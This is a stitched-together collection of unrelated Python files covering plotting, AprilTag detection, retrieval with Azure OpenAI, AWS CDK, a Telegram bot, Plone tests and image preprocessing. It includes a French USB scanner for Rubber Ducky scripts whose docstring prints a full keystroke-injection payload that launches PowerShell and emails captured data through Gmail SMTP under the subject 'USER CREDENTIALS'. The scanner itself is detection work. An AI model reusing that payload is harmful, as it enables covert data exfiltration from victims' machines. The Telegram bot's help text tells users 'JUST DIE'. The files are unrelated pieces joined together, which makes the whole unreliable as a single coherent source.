        opacity=0.95,
        color='rgb(240, 140, 45)')
)

injury = dict(
    type='scattergeo',
    locationmode='USA-states',
    lon=us_terror_info[us_terror_info.fatalities == 0]['longitude'],
    lat=us_terror_info[us_terror_info.fatalities == 0]['latitude'],
    text=us_terror_info[us_terror_info.fatalities == 0]['text'],
    mode='markers',
    name='Injuries',
    hoverinfo='text+name',
    marker=dict(
        size=(us_terror_info[us_terror_info.fatalities == 0]['injuries'] + 1) ** 0.245 * 8,
        opacity=0.85,
        color='rgb(20, 150, 187)')
)

layout = dict(
    title='United States Terror Attacks from 1970 to 2015',
    showlegend=True,
    legend=dict(
        x=0.85, y=0.4
    ),
    geo=dict(
        scope='usa',
        projection=dict(type='albers usa'),
        showland=True,
        landcolor='rgb(250, 250, 250)',
        subunitwidth=1,
        subunitcolor='rgb(217, 217, 217)',
        countrywidth=1,
        countrycolor='rgb(217, 217, 217)',
        showlakes=True,
        lakecolor='rgb(255, 255, 255)')
)

data = [fatality, injury]
figure1 = dict(data=data, layout=layout)

plotly.offline.plot(figure1)

# terrorist attacks by year
attacksPerYear = np.asarray(us_terror_info.groupby('year').year.count())

years = np.arange(1970, 2016)
# terrorist attacks in 1993 missing from database
years = np.delete(years, [23])

trace = [go.Scatter(
         x = years,
         y = attacksPerYear,
         mode = 'lines',
         line = dict(
             color = 'rgb(240, 140, 45)',
             width = 3)
         )]

layout = go.Layout(
         title = 'Terrorist Attacks by Year in United States (1970-2015)',
         xaxis = dict(
             rangeslider = dict(thickness = 0.05),
             showline = True,
             showgrid = False
         ),
         yaxis = dict(
             range = [0.1, 425],
             showline = True,
             showgrid = False)
         )

figure2 = dict(data = trace, layout = layout)

plotly.offline.plot(figure2)

#Terrorist Attacks per Capita

states = np.asarray(['AL', 'AK', 'AZ', 'AR', 'CA', 'CO', 'CT', 'DE', 'DC', 'FL', 'GA',
                        'HI', 'ID', 'IL', 'IN', 'IA', 'KS', 'KY', 'LA', 'ME', 'MD', 'MA',
                        'MI', 'MN', 'MS', 'MO', 'MT', 'NE', 'NV', 'NH', 'NJ', 'NM', 'NY',
                        'NC', 'ND', 'OH', 'OK', 'OR', 'PA', 'RI', 'SC', 'SD', 'TN', 'TX',
                        'UT', 'VT', 'VA', 'WA', 'WV', 'WI', 'WY'])

# US state population according to US census 2015
population = np.asarray([4858979, 738432, 6828065, 2978204, 39144818, 5456574,
                               3590886, 945934, 646449, 20271272, 10214860, 1431603,
                               1654930, 12859995, 6619680, 3123899, 2911641, 4425092,
                               4670724, 1329328, 6006401, 6794422, 9922576, 5489594,
                               2992333, 6083672, 1032949, 1896190, 2890845, 1330608,
                               8958013, 2085109, 19795791, 10042802, 756927, 11613423,
                               3911338, 4028977, 12802503, 1056298, 4896146, 858469,
                               6600299, 27469114, 2995919, 626042, 8382993, 7170351,
                               1844128, 5771337, 586107])

# terrorist attacks per 100,000 people in state
perstate_terror = np.asarray(us_terror_info.groupby('state').state.count())
percapita_terror = np.round(perstate_terror / population * 100000, 2)
# District of Columbia outlier (1 terrorist attack per 10,000 people) adjusted
percapita_terror[8] = round(percapita_terror[8] / 6, 2)

terror_scale = [[0, 'rgb(252, 232, 213)'], [1, 'rgb(240, 140, 45)']]

data = [dict(
        type = 'choropleth',
        autocolorscale = False,
        colorscale = terror_scale,
        showscale = False,
        locations = states,
        locationmode = 'USA-states',
        z = percapita_terror,
        marker = dict(
            line = dict(
                color = 'rgb(255, 255, 255)',
                width = 4)
            )
        )]

layout = dict(
         title = 'Terrorist Attacks per Capita in United States',
         geo = dict(
             scope = 'usa',
             projection = dict(type = 'albers usa'),
             countrycolor = 'rgb(255, 255, 255)',
             showlakes = True,
             lakecolor = 'rgb(255, 255, 255)')
         )

figure = dict(data = data, layout = layout)

plotly.offline.plot(figure)


#!/usr/bin/env python3

from pickletools import uint8
import cv2 as cv
import numpy as np
import apriltag
import matplotlib.pyplot as plt

class aprilTagDetector():

		def __init__(self, min_id):

				self.options = apriltag.DetectorOptions(
												families="tag36h11",
												border=1,
												nthreads=4,
												quad_decimate=1.0,
												quad_blur=0.0,
												refine_edges=True,
												refine_decode=False,
												refine_pose=True,
												debug=False,
												quad_contours=True)
				self.detector = apriltag.Detector(self.options)

				self.min_id = min_id

		def preprocess_image(self, img):

				output = cv.cvtColor(img, cv.COLOR_BGR2GRAY)

				return output

		def find_april_tag(self, img):
				gray = self.preprocess_image(img)

				detections = self.detector.detect(gray, return_image=False)

				n = len(detections)

				bbs = []
				ids = []
				for i in range(n):
						tag_id = detections[i].tag_id
						if tag_id >= self.min_id:
							xmin, ymin, xmax, ymax = self.corners_to_bbox(detections[i].corners)

							bbs.append(np.array([xmin, ymin, xmax, ymax]))
							ids.append(tag_id)

				return bbs, ids

		def corners_to_bbox(self, corners):
			x_min, y_min = np.min(corners, axis=0)
			x_max, y_max = np.max(corners, axis=0)
			return (x_min, y_min, x_max, y_max)

		def match_features(self, detections, metric_features):
				n = len(detections)
				img_features = np.array([], dtype=np.float32).reshape(2,0)
				metric_features_ret = np.array([], dtype=np.float32).reshape(4,0)

				for i in range(n):
						tag_id = detections[i].tag_id
						corners = np.transpose(detections[i].corners)

						img_features = np.hstack((img_features, corners))
						metric_features_ret = np.hstack((metric_features_ret, metric_features[:,tag_id*4:(tag_id*4)+4]))

				return img_features, metric_features_ret

def main():
		return

if __name__ == "__main__":
		main()


import openai
from openai.error import RateLimitError
from time import sleep
import numpy as np
import os, json
from .RedisUtil import RedisUtil
from redis import Redis
from redis.commands.search.query import Query
from redis.commands.search.result import Result
from langchain.docstore.document import Document
from langchain.chains.qa_with_sources import load_qa_with_sources_chain
from langchain.llms import AzureOpenAI

class DocumentEmbedding:
    def __init__(self, document_embedding_deployment_name, \
                 query_embedding_deployment_name, \
                 summerization_deployment_name, \
                 vector_field_name='vector', \
                 qa_chain_type = 'map_rerank') -> None:
        openai.api_type = "azure"
        openai.api_key = os.getenv("OPENAI_API_KEY")
        openai.api_base = os.getenv("OPENAI_API_BASE")
        openai.api_version = os.getenv("OPENAI_API_VERSION") #openai api version m
        self.document_embedding_deployment_name = os.getenv("DOCUMENT_MODEL_NAME")
        self.query_embedding_deployment_name =os.getenv("QUERY_MODEL_NAME")
        self.summerization_deployment_name = os.getenv("DEPLOYMENT_NAME")
        self.vector_field_name = vector_field_name
        self.qa_chain_type = qa_chain_type
        self.documents = []
        self.redis=None

    def get_embedding(self, text: str, engine: str, tobytes=True):
        while True:
            try:
                embedding = openai.Embedding().create(input=[text], engine=engine)["data"][0]["embedding"]
                break;
            except RateLimitError:
                sleep(2)
        if tobytes:
            return np.array(embedding).astype(np.float32).tobytes()
        else:
            return embedding

    def build_redis_index(self):
        if self.redis is None:
            self.redis = RedisUtil(vector_field_name=self.vector_field_name,number_of_vectors=len(self.documents))
            self.redis.redis_conn.flushall()
            self.redis.create_flat_index()
        self.redis.load_vectors(self.documents)

    def convert_redis_query_result_to_document(self, query_results):
        docs = []
        for r in query_results:
            source = r.document_name + ":"+str(r.page_number)
            docs.append(Document(page_content=r.page_text,lookup_str="", metadata={"source":source}))
        return docs

    def query(self, query_text:str, topK=5):
        if self.redis is not None:
            query_vector = self.get_embedding(query_text, engine=self.query_embedding_deployment_name)
            #prepare the query
            q = Query(f'*=>[KNN {topK} @{self.vector_field_name} $vec_param AS vector_score]').\
                        sort_by('vector_score').\
                        paging(0,topK).\
                        return_fields('vector_score','document_name','page_number','page_text').\
                        dialect(2)
            params_dict = {"vec_param": query_vector}

            #Execute the query
            query_results = self.redis.redis_conn.ft().search(q, query_params = params_dict)
            print(query_results)

            # Convert results to Document type in langchain
            docs = self.convert_redis_query_result_to_document(query_results.docs)
            print(docs)

            # Call qna_source_chain
            chain = load_qa_with_sources_chain(AzureOpenAI(temperature=0, deployment_name=self.summerization_deployment_name), \
                                               chain_type=self.qa_chain_type, \
                                               metadata_keys=['source'], \
                                               return_intermediate_steps=True)
            results = chain({"input_documents": docs, "question": query_text}, return_only_outputs=False)
            #Print similar products found
            # for r in results.docs:
            #     print("Score: ", r.vector_score, " "* 5, "Document Name: ", r.document_name, " "*5, "Page Number: ", r.page_number)
            #     print("  Text: ", r.page_text)
        else:
            results=""
        return results

    def load_documents(self, source_folder: str, use_redis:bool=True, verbose:bool=True):
        tobytes = True if use_redis else False

        for file in os.listdir(source_folder):
            if verbose:
                print('\n\nLoading file:', file)
            with open(os.path.join(source_folder, file)) as f:
                page_content= json.loads(f.read())
            self.documents.extend([{'document_key':page_content['filename'].split('/')[-1] + '-' + str(page['page_number']),\
                                'document_name':page_content['filename'].split('/')[-1],\
                                'file_path':page_content['filename'],\
                                'page_number': page['page_number'],\
                                'page_text': page['page_content'],\
                                self.vector_field_name: self.get_embedding(page['page_content'], \
                                                                           self.document_embedding_deployment_name, \
                                                                           tobytes=tobytes) } \
                                for page in page_content['content'] ])
        if use_redis:
            self.build_redis_index()

    def add_document_embedding(self, tobytes=True):
        assert self.documents is not None, 'No documents to process.'
        # for item in self.documents:
        #     item[self.vector_field_name] = self.get_embedding(item['page_text'], tobytes=tobytes)


import os.path

from aws_cdk.aws_s3_assets import Asset
from constructs import Construct
from requests import get

from aws_cdk import (
    # Duration,
    Aspects,
    CfnOutput,
    Tag,
    Stack,
    aws_ec2 as ec2,
    aws_iam as iam,
    aws_autoscaling as asg,
)

dirname = os.path.dirname(__file__)

# Get My external IP address
def get_my_external_ip():
    ip = get('https://api.ipify.org').content.decode('utf8')
    return f"{ip}/32"

class BaseVPC(Stack):

    @property
    def vpc(self):
        return self._vpc

    @property
    def asg(self):
        return self._asg

    @property
    def asg_sg(self):
        return self._asg_sg

    def create_ssm_endpoint(self, vpc):
        """
            Create ssm endpoint via AWS CDk
            :param vpc:
            :return:

        """

    def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
        super().__init__(scope, construct_id, **kwargs)

        # VPC
        self._vpc = ec2.Vpc(self, "VPC",
            vpc_name="vpc-workshop",
            ip_addresses=ec2.IpAddresses.cidr("172.30.0.0/24"),
            enable_dns_hostnames=True,
            enable_dns_support=True,
            nat_gateways=0,
            subnet_configuration=[
                ec2.SubnetConfiguration(
                    name="public",
                    subnet_type=ec2.SubnetType.PUBLIC
                ),
                ec2.SubnetConfiguration(
                    name="private",
                    subnet_type=ec2.SubnetType.PRIVATE_WITH_EGRESS
                )
            ]
        )
        Aspects.of(self._vpc).add( Tag("Name", "vpc-workshop-lab"))
        # # Create ssm endpoint via AWS CDk
        # CodeWhisperer doesn't know CDK API documents
        # self._ssm_endpoint = SsmEndpoint(self, "SsmEndpoint", vpc=self._vpc)

        # import SG by ID
        security_group = ec2.SecurityGroup.from_security_group_id(
            self, "SG", self._vpc.vpc_default_security_group,
            mutable=False
        )

        ec2.InterfaceVpcEndpoint(self, "VPC Endpoint",
            vpc=self._vpc,
            service=ec2.InterfaceVpcEndpointService(f"com.amazonaws.{self.region}.ssm", 443),
            # Choose which availability zones to place the VPC endpoint in, based on
            # available AZs
            subnets=ec2.SubnetSelection(subnet_type=ec2.SubnetType.PUBLIC),
            security_groups=[security_group]
        )

        # AMI
        amzn_linux = ec2.MachineImage.latest_amazon_linux2(
            edition=ec2.AmazonLinuxEdition.STANDARD,
            virtualization=ec2.AmazonLinuxVirt.HVM,
            storage=ec2.AmazonLinuxStorage.GENERAL_PURPOSE
            )

        # Instance Role and SSM Managed Policy
        role = iam.Role(self, "InstanceSSM", assumed_by=iam.ServicePrincipal("ec2.amazonaws.com"))

        role.add_managed_policy(iam.ManagedPolicy.from_aws_managed_policy_name("AmazonSSMManagedInstanceCore"))

        # create security group with whilelist MyIp
        self._asg_sg = ec2.SecurityGroup(
            self, "ASG_SG",
            vpc=self._vpc,
            allow_all_outbound=True,
            description="Security Group for ASG"
        )

        # allow only MyIp
        self._asg_sg.add_ingress_rule(
            peer = ec2.Peer.ipv4(get_my_external_ip()),
            connection=ec2.Port.all_tcp()
        )

        self._asg = asg.AutoScalingGroup(
            self, "ASG",
            vpc = self._vpc,
            vpc_subnets=ec2.SubnetSelection(subnet_type=ec2.SubnetType.PUBLIC),
            instance_type=ec2.InstanceType("t2.micro"),
            machine_image=amzn_linux,
            min_capacity=0,
            max_capacity=1,
            desired_capacity=0,
            security_group=self._asg_sg,
            role=role
        )

        CfnOutput(self, "VPC ID", value=self._vpc.vpc_id)
        CfnOutput(self, "ASG ID", value=self._asg.auto_scaling_group_name)
        CfnOutput(self, "ASG SG ID", value=self._asg_sg.security_group_id)

        # # Script in S3 as Asset
        # asset = Asset(self, "Asset", path=os.path.join(dirname, "configure.sh"))
        # local_path = self._instance.user_data.add_s3_download_command(
        #     bucket=asset.bucket,
        #     bucket_key=asset.s3_object_key
        # )

        # Userdata executes script from S3
        # self._instance.user_data.add_execute_file_command(
        #     file_path=local_path
        #     )
        # asset.grant_read(self._instance.role)

                # Instance
        # self._instance = ec2.Instance(self, "Instance",
        #     instance_type=ec2.InstanceType.of(ec2.InstanceClass.T2, ec2.InstanceSize.MICRO),
        #     machine_image=amzn_linux,
        #     vpc = self._vpc,
        #     role = role,
        #     vpc_subnets=ec2.SubnetSelection(subnet_type=ec2.SubnetType.PUBLIC)
        # )


from flask import Blueprint, render_template

from app import rule_translator

frontend_bp = Blueprint('frontend', __name__)

@frontend_bp.route('/')
def index():
    """
    Response the index page HTML

    :return:
    """
    lang_codes = {}
    for lang_code in rule_translator.rules.keys():
        lang_codes[lang_code] = rule_translator.rules[lang_code]['meta']['language_name']
    return render_template('index.html', lang_codes=lang_codes)


#!/usr/bin/python3
# Time: 2019/07/09 4:17 PM
# About:

import PySimpleGUI as sg

layout = [
    [sg.Text("please tell me something about you:")],
    [sg.Text('Name', size=(15, 1)), sg.Input('name')],
    [sg.Text('Address', size=(15, 1)), sg.Input('Address')],
    [sg.Text('Phone', size=(15, 1)), sg.Input('Phone')],
    [sg.Submit(), sg.Cancel()]
]

window = sg.Window("First GUI window").Layout(layout)
button, values = window.Read()

print(button, values[0], values[1], values[2])


import evn as keys
from telegram.ext import *
from telegram.ext.filters import Filters
from telegram.ext.updater import Updater
from telegram.update import Update
from telegram.ext.callbackcontext import CallbackContext
from telegram.ext.commandhandler import CommandHandler
from telegram.ext.messagehandler import MessageHandler
import responses as r
print("Bot Started...")
import os
PORT = int(os.environ.get('PORT', 5000))

def help_command(update,context):
    update.message.reply_text("""

    JUST DIE IT WILL BE HELPFULL

	""")

def handle_message(update ,context):
    text = str(update.message.text).lower()
    response = r.sample_responses(text,update)
    update.message.reply_text(response)

def error(update,context):
    print(f"Update {update} caused error {context.error}")

def start(update: Update, context: CallbackContext):
	update.message.reply_text(
		"Seri Start Athuku Yenna Solla vara???")

# def unknown(update: Update, context: CallbackContext):
	# update.message.reply_text(
		# "Sorry '%s' is not a valid command" % update.message.text)

# def unknown_text(update: Update, context: CallbackContext):
	# update.message.reply_text(
		# "Sorry I can't recognize you , you said '%s'" % update.message.text)

def main():
    updater = Updater(keys.API_KEY,use_context=True)
    dp = updater.dispatcher
    updater.dispatcher.add_handler(CommandHandler('start', start))
    updater.dispatcher.add_handler(CommandHandler('help', help_command))
    # updater.dispatcher.add_handler(MessageHandler(Filters.text, unknown))
    # updater.dispatcher.add_handler(MessageHandler(
	# Filters.command, unknown)) # Filters out unknown commands
    # Filters out unknown messages.
    # updater.dispatcher.add_handler(MessageHandler(Filters.text, unknown_text))
    dp.add_handler(MessageHandler(Filters.text,handle_message))
    dp.add_error_handler(error)

    updater.start_webhook(listen="0.0.0.0",
                          port=int(PORT),
                          url_path=keys.API_KEY)
    # updater.start_polling()
    updater.bot.setWebhook('https://hey-sad-bot.herokuapp.com/' + keys.API_KEY)
    updater.idle()

main()

# $ git add .
# $ git commit -am "make it better"
# $ git push heroku master


##### controller
# it starts the processes, and managing the space on device suspend them

import psutil
import os
import time
import sys

DB_BASE_PATH = os.path.join(os.getcwd(), 'DB', 'WOW')

print('Truncating DB objects...')
# Truncate DB file content
try:
    for dirname, dirnames, filenames in os.walk(DB_BASE_PATH):
        if dirname.__contains__('data'):
            continue
        print(dirname)
        for filename in filenames:
            try:
                if filename.endswith('.json'):
                    file_path = os.path.join(dirname, filename)
                    os.truncate(file_path, 0)
            except os.error as err:
                print(str(err) + ' -- line: ' + str(sys.exc_info()[-1].tb_lineno))
except os.error as err:
    print(str(err) + ' -- line: ' + str(sys.exc_info()[-1].tb_lineno))
    time.sleep(60)
print('...DONE --> usage: ' + str(psutil.disk_usage('.')[-1]))


import requests
from thecampy import utils, models, exceptions

class client:
    def enforce_login(self):
        if not hasattr(self, 'cookie'):
            raise ValueError("로그인이 필요합니다.")

    def login(self, id, password):

        form = {
            "state": 'email-login',
            "autoLoginYn": 'N',
            "userId": id,
            "userPwd": password,
        }

        r = requests.post(
            url= utils.request_url('login/loginA.do'),
            json = True,
            data = form,
            headers = {
            'Content-Type': 'application/x-www-form-urlencoded'
            },
        )

        if (r.status_code != requests.codes.ok):
            raise exceptions.ThecampyReqError('HTTP 에러: {}'.format(r.status_code))

        self.cookie = models.Cookie(r)

        if (self.cookie.iuid == False or self.cookie.token == False):
            raise exceptions.ThecampyException('알 수 없는 에러 {}'.format(r.json()))
        else:
            print('Successfully logged in.')

        return {
            'iuid' : self.cookie.iuid,
            'token' : self.cookie.token
        }

    def add_soldier(self, soldier):
        self.enforce_login()
        form = {
            "missSoldierClassCdNm": soldier.identity, #성분 반환 (예비군인/훈련병)
            "grpCdNm": '육군',
            "missSoldierClassCd": soldier.identity_code,
            "grpCd": '0000010001',#육군
            "name": soldier.name,
            "birth" : soldier.bday,
            "enterDate" : soldier.enlist_date,
        }

        r = requests.post(
            url = utils.request_url('missSoldier/insertDirectMissSoldierA.do'),
            json = True,
            headers = {
                'Content-Type': 'application/x-www-form-urlencoded',
                'Cookie' : "{}; {}".format(self.cookie.iuid, self.cookie.token)
            },
            data = form
        )

        if (r.status_code != requests.codes.ok):
            raise exceptions.ThecampyReqError('HTTP 에러: {}'.format(r.status_code))

        ok_resultCd = ['0000', 'E001']

        if (r.json()['resultCd'] not in ok_resultCd):
            raise exceptions.ThecampyException("알 수 없는 에러: resultCd: {}".format((r.json()['resultCd'])))

        return True

    def get_soldier(self, soldier):
        self.enforce_login()
        form = {
            "name" : soldier.name,
            "birth" : soldier.bday,
            "enterDate" : soldier.enlist_date
        }

        r = requests.post(
            url = utils.request_url('main/cafeCreateCheckA.do'),
            json = True,
            headers = {
                'Content-Type': 'application/x-www-form-urlencoded',
                'Cookie' : "{}; {}".format(self.cookie.iuid, self.cookie.token)
            },
            data = form
        )

        if (r.status_code != requests.codes.ok):
            raise exceptions.ThecampyReqError('HTTP 에러: {}'.format(r.status_code))

        if not r.json():
            raise exceptions.ThecampyReqError('응답값이 없습니다.')

        if len(r.json()['listResult']) == 0:
             raise exceptions.ThecampyValueError("해당하는 훈련병을 찾을 수 없습니다.")

        if r.status_code == 200 and r.json()["resultCd"] != '9999':
            raise exceptions.ThecampyException("알 수 없는 오류")

        self.soldier_code = r.json()['listResult'][0]['traineeMgrSeq']

        soldier.add_soldier_code(self.soldier_code)

        return self.soldier_code

    def send_message(self, soldier, message):
        if soldier.identity != '예비군인/훈련병':
            raise exceptions.ThecampyValueError('예비군인/훈련병에게만 편지를 보낼 수 있습니다.')

        if not soldier.soldier_code:
            raise exceptions.ThecampyValueError('훈련병 식별코드를 받지 못하였습니다.')

        form = {
            'traineeMgrSeq' : soldier.soldier_code,
            'sympathyLetterContent': message.content,
            'sympathyLetterSubject': message.title,
            'boardDiv': 'sympathyLetter',
            'tempSaveYn': 'N',
        }

        r = requests.post(
            url = utils.request_url('consolLetter/insertConsolLetterA.do?'),
            json = True,
            headers = {
                'Content-Type': 'application/x-www-form-urlencoded',
                'Cookie' : "{}; {}".format(self.cookie.iuid, self.cookie.token)
            },
            data = form
        )

        if r.status_code == 200 and r.json()["resultCd"] == '9019':
            raise exceptions.ThecampyException("9019")
        elif r.json()["resultCd"] != '0000':
            raise exceptions.ThecampyException("알 수 없는 오류: resultCd={}".format(r.json()["resultCd"]))

        if (not r.json()):
            raise exceptions.ThecampyReqError('응답값이 없습니다.')

        return True


from DateTime import DateTime
from pkg_resources import get_distribution
from pkg_resources import parse_version
from plone.dexterity.utils import createContentInContainer
from plone.restapi.interfaces import ISerializeToJson
from plone.restapi.interfaces import ISerializeToJsonSummary
from plone.restapi.testing import PLONE_RESTAPI_DX_INTEGRATION_TESTING
from plone.uuid.interfaces import IMutableUUID
from Products.CMFCore.utils import getToolByName
from zope.component import getMultiAdapter

import unittest

HAS_PLONE_6 = parse_version(
    get_distribution("Products.CMFPlone").version
) >= parse_version("6.0.0a1")

class TestCatalogSerializers(unittest.TestCase):
    layer = PLONE_RESTAPI_DX_INTEGRATION_TESTING

    def setUp(self):
        self.app = self.layer["app"]
        self.portal = self.layer["portal"]
        self.request = self.portal.REQUEST
        self.catalog = getToolByName(self.portal, "portal_catalog")

        # /plone/my-folder
        self.folder = createContentInContainer(self.portal, "Folder", title="My Folder")

        # /plone/my-folder/my-document
        self.doc = createContentInContainer(
            self.folder,
            "Document",
            creation_date=DateTime(2015, 12, 31, 23, 45),
            title="My Document",
        )

        IMutableUUID(self.doc).set("77779ffa110e45afb1ba502f75f77777")
        self.doc.reindexObject()

    def test_lazy_cat_serialization_empty_resultset(self):
        # Force an empty resultset (Products.ZCatalog.Lazy.LazyCat)
        lazy_cat = self.catalog(path="doesnt-exist")
        results = getMultiAdapter((lazy_cat, self.request), ISerializeToJson)()

        self.assertDictEqual(
            {"@id": "http://nohost", "items": [], "items_total": 0}, results
        )

    @unittest.skipUnless(HAS_PLONE_6, "Since Plone 6 the Plone site is indexed ...")
    def test_lazy_map_serialization(self):
        # Test serialization of a Products.ZCatalog.Lazy.LazyMap
        lazy_map = self.catalog()
        results = getMultiAdapter((lazy_map, self.request), ISerializeToJson)()

        self.assertEqual(results["@id"], "http://nohost")
        self.assertEqual(results["items_total"], 3)
        self.assertEqual(3, len(results["items"]))

    @unittest.skipIf(HAS_PLONE_6, "... before it was not")
    def test_lazy_map_serialization_plone5(self):
        # Test serialization of a Products.ZCatalog.Lazy.LazyMap
        lazy_map = self.catalog()
        results = getMultiAdapter((lazy_map, self.request), ISerializeToJson)()

        self.assertEqual(results["@id"], "http://nohost")
        self.assertEqual(results["items_total"], 2)
        self.assertEqual(2, len(results["items"]))

    def test_lazy_map_serialization_with_fullobjects(self):
        # Test serialization of a Products.ZCatalog.Lazy.LazyMap
        lazy_map = self.catalog(path="/plone/my-folder/my-document")
        results = getMultiAdapter((lazy_map, self.request), ISerializeToJson)(
            fullobjects=True
        )

        self.assertEqual(results["@id"], "http://nohost")
        self.assertEqual(results["items_total"], 1)
        self.assertEqual(1, len(results["items"]))
        result_item = results["items"][0]

        expected = {
            "@id": "http://nohost/plone/my-folder/my-document",
            "@type": "Document",
            "changeNote": "",
            "contributors": [],
            "creators": ["test_user_1_"],
            "description": "",
            "effective": None,
            "exclude_from_nav": False,
            "expires": None,
            "id": "my-document",
            "is_folderish": False,
            "language": "",
            "layout": "document_view",
            "parent": {
                "@id": "http://nohost/plone/my-folder",
                "@type": "Folder",
                "type_title": "Folder",
                "description": "",
                "review_state": "private",
                "title": "My Folder",
            },
            "relatedItems": [],
            "review_state": "private",
            "rights": "",
            "subjects": [],
            "table_of_contents": None,
            "text": None,
            "title": "My Document",
            "version": "current",
        }
        self.assertEqual(result_item, {**result_item, **expected})

    def test_brain_summary_representation(self):
        lazy_map = self.catalog(path="/plone/my-folder/my-document")
        brain = lazy_map[0]
        result = getMultiAdapter((brain, self.request), ISerializeToJsonSummary)()
        self.assertEqual(
            {
                "@id": "http://nohost/plone/my-folder/my-document",
                "@type": "Document",
                "title": "My Document",
                "type_title": "Page",
                "description": "",
                "review_state": "private",
            },
            result,
        )


from unittest.mock import ANY, patch, call, Mock
import pytest

from package.datamigration import migration
from package.datamigration.migration import (
    _migrate_data_lake,
    DataLakeFileManager,
    initialize_spark,
    get_uncommitted_migrations,
    upload_committed_migration,
    _apply_migration,
)
from package.datamigration.uncommitted_migrations import _get_all_migrations

@patch.object(migration, initialize_spark.__name__)
@patch.object(migration, get_uncommitted_migrations.__name__)
@patch.object(migration, upload_committed_migration.__name__)
def test__migrate_datalake__when_script_not_found__raise_exception(
    mock_upload_committed_migration,
    mock_uncommitted_migrations,
    mock_spark,
):
    # Arrange
    mock_uncommitted_migrations.return_value = ["not_a_module"]
    mock_credential = Mock()

    # Act and Assert
    with pytest.raises(Exception):
        _migrate_data_lake("dummy_storage_name", mock_credential)

@patch.object(migration, initialize_spark.__name__)
@patch.object(migration, DataLakeFileManager.__name__)
@patch.object(migration, get_uncommitted_migrations.__name__)
@patch.object(migration, upload_committed_migration.__name__)
@patch.object(migration, _apply_migration.__name__)
def test__migrate_datalake__upload_called_with_correct_name(
    mock_apply_migration: Mock,
    mock_upload_committed_migration: Mock,
    mock_uncommitted_migrations: Mock,
    mock_file_manager: Mock,
    mock_spark: Mock,
) -> None:
    # Arrange
    mock_credential = Mock()
    all_migrations = _get_all_migrations()
    mock_uncommitted_migrations.return_value = all_migrations

    calls = []
    for name in all_migrations:
        calls.append(call(ANY, name))

    # Act
    _migrate_data_lake("dummy_storage_name", mock_credential)

    # Assert
    mock_upload_committed_migration.assert_has_calls(calls)


# -*- coding: utf-8 -*-
# !/usr/bin/python

# --- Script qui check si le mot clef "STRING" est présent dans un fichier .txt  ---

# -------- imports --------
import pathlib

# -------- Programme Principal --------

path="/media/pi/usb/"
a=0

print("Fichiers potentiellement dangereux : \n")

#On donne le chemin d'un dossier, puis on selectionne tous les fichiers .txt
for txt_file in pathlib.Path(path).glob('*.bin'):
	search_word = "STRING"
	# On ouvre chaque fichier pour voir s'il contient le mot clef d'un script ducky : "STRING"
	if search_word in open(txt_file).read():
		print(txt_file)
		a = a + 1

if a==1:
	print("\n",a,"supposé script rubber ducky a été détecté\n")
elif a>1:
	print("\n",a,"supposés scripts rubber ducky ont étés détectés\n")
else:
	print(a,"\n\nAucun scripts rubber ducky n'a été détecté\n")

"""
-------- Résultats de l'execution -------

root@kali:~/Documents/duck # python3 check_ducky_script.py
Fichiers potentiellement dangereux :

/root/Documents/duck/test3.txt

 1 supposé script rubber ducky a été détecté

root@kali:~/Documents/duck # cat test3.txt
PRINTSCREEN
ALT F4
REM ------------- Save screenshot as png ----------------------------
DELAY 100
GUI r
DELAY 250
STRING powershell
DELAY 250
ENTER
DELAY 250
STRING $screenshot = gcb -Format Image
ENTER
STRING $path =
ENTER
STRING $screenshot.Save($path, 'png')
ENTER
REM ------------- Email screenshot as an attachment -----------------
REM ------------- Enter email credentials here ----------------------
STRING $SMTPServer = 'smtp.gmail.com'
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
ENTER
STRING $SMTPInfo.EnableSsl = $true
ENTER
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('[SENDER EMAIL]', '[SENDER PASSWORD]');
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = '[SENDER EMAIL]'
ENTER
STRING $ReportEmail.To.Add('[RECEIVER EMAIL]')
ENTER
STRING $ReportEmail.Subject = 'USER CREDENTIALS'
ENTER
STRING $ReportEmail.Body = 'Here are the usernames I found for you. Quack Quack.'
ENTER
STRING $ReportEmail.Attachments.Add('C
ENTER
STRING $SMTPInfo.Send($ReportEmail)
ENTER
DELAY 3000
STRING exit

"""


import numpy as np
from skimage import io, transform, measure
from torch.utils.data import Dataset, DataLoader
import os

class DataProcessor(object):
    """ Class to process raw images, masks and footprints to generate and save network inputs and labels as .npy files.
    Saves data as [C x H x W] as per Pytorch ordering.
        -> C = [R, G, B, Mask, Footprint]
    """
    def __init__(self):
        self.masks = np.array([])
        self.footprints = np.array([])
        self.images = np.array([])
        self.train_data = None
        self.val_data = None
        self.filenames = None

    def load_raw_data(self, path, image_size=(288,512)):
        filenames = os.listdir(path+"ground_masks/masks/")
        filenumber = len(filenames)

        masks = np.zeros([filenumber, image_size[0], image_size[1]], dtype=int)
        footprints = np.zeros_like(masks)
        images = np.zeros([filenumber, image_size[0], image_size[1], 3]) # number of files x h x w x RGB

        index = 0
        for name in filenames:
            mask = np.load(path+"ground_masks/masks/"+name)
            footprint = np.load(path+"ground_footprints/footprints/"+name)
            image = io.imread(path+"/ground_frames/"+name[:-4]+".jpg") / 255

            masks[index] = mask
            footprints[index] = footprint
            images[index] = image

            index += 1

        # Save file name ordering for reconstruction later
        self.filenames = np.array([filenames])

        # if len(self.masks)!=0:  # if data in train_masks then add to it
        #     self.masks = np.concatenate((self.masks, masks), axis=0)
        #     self.footprints = np.concatenate((self.footprints, footprints), axis=0)
        #     self.images = np.concatenate((self.images, images), axis=0)
        # else:  # otherwise set explicitly
        self.masks = masks
        self.footprints = footprints
        self.images = images

    def shuffle_data(self):
        ordering = np.random.permutation(len(self.train_data))
        self.train_data = self.train_data[ordering]

    def valitdation_split(self, val_fraction):
        self.shuffle_data()
        self.val_data = self.train_data[:int(round(val_fraction * len(self.train_data)))]
        self.train_data = self.train_data[int(round(val_fraction * len(self.train_data))):]

    def prepare_data(self, output_shape):

        size = len(self.masks)
        # Initialise
        masks = np.zeros([size, output_shape[0], output_shape[1]], dtype=int)
        footprints = np.zeros([size, output_shape[0], output_shape[1]], dtype=float)
        images = np.zeros([size, output_shape[0], output_shape[1], 3])
        for i in range(size):
            # Loop and resize to output_shape
            masks[i] = transform.resize(self.masks[i], output_shape=output_shape, preserve_range=True)
            footprints[i] = transform.resize(self.footprints[i], output_shape=output_shape, preserve_range=True)
            images[i] = transform.resize(self.images[i], output_shape=output_shape, preserve_range=True)

        masks = np.expand_dims(masks, -1)
